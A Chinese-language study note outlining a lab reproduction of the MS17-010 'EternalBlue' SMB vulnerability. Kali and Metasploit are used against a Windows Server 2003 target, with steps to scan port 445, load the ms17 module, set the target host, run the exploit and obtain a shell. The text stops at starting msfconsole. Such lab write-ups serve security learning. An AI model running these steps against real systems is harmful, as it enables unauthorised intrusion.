ms17永恒之蓝漏洞复现全过程(kali-server2003)

本文为学习笔记，仅限学习交流。
不得利用、从事危害国家或人民安全、荣誉和利益等活动。
请参阅《中华人民共和国网络安全法》

永恒之蓝是利用Windows操作系统445端口存在的漏洞进行传播，并具有自我复制、主动传播的特性。
基于Windows网络共享协议进行攻击传播的蠕虫恶意代码

流程简介：1、启动：msfconsole
2、查看可测试漏洞模块：search ms17
3、使用模块进行测试：use +模块名称
4、添加IP：set rhost ip （查看模块架构：show options）
5、测试：exploit (或 run)
拿到权限：shell

一、测试准备：
目标机：server 2003
攻击机：kali

利用Nmap扫描IP ，查看已开启端口
发现445端口，尝试进行渗透测试：

二、漏洞测试

1、启动 msfconsole 命令：msfconsole
(重启数据库 命令：service postgresql start)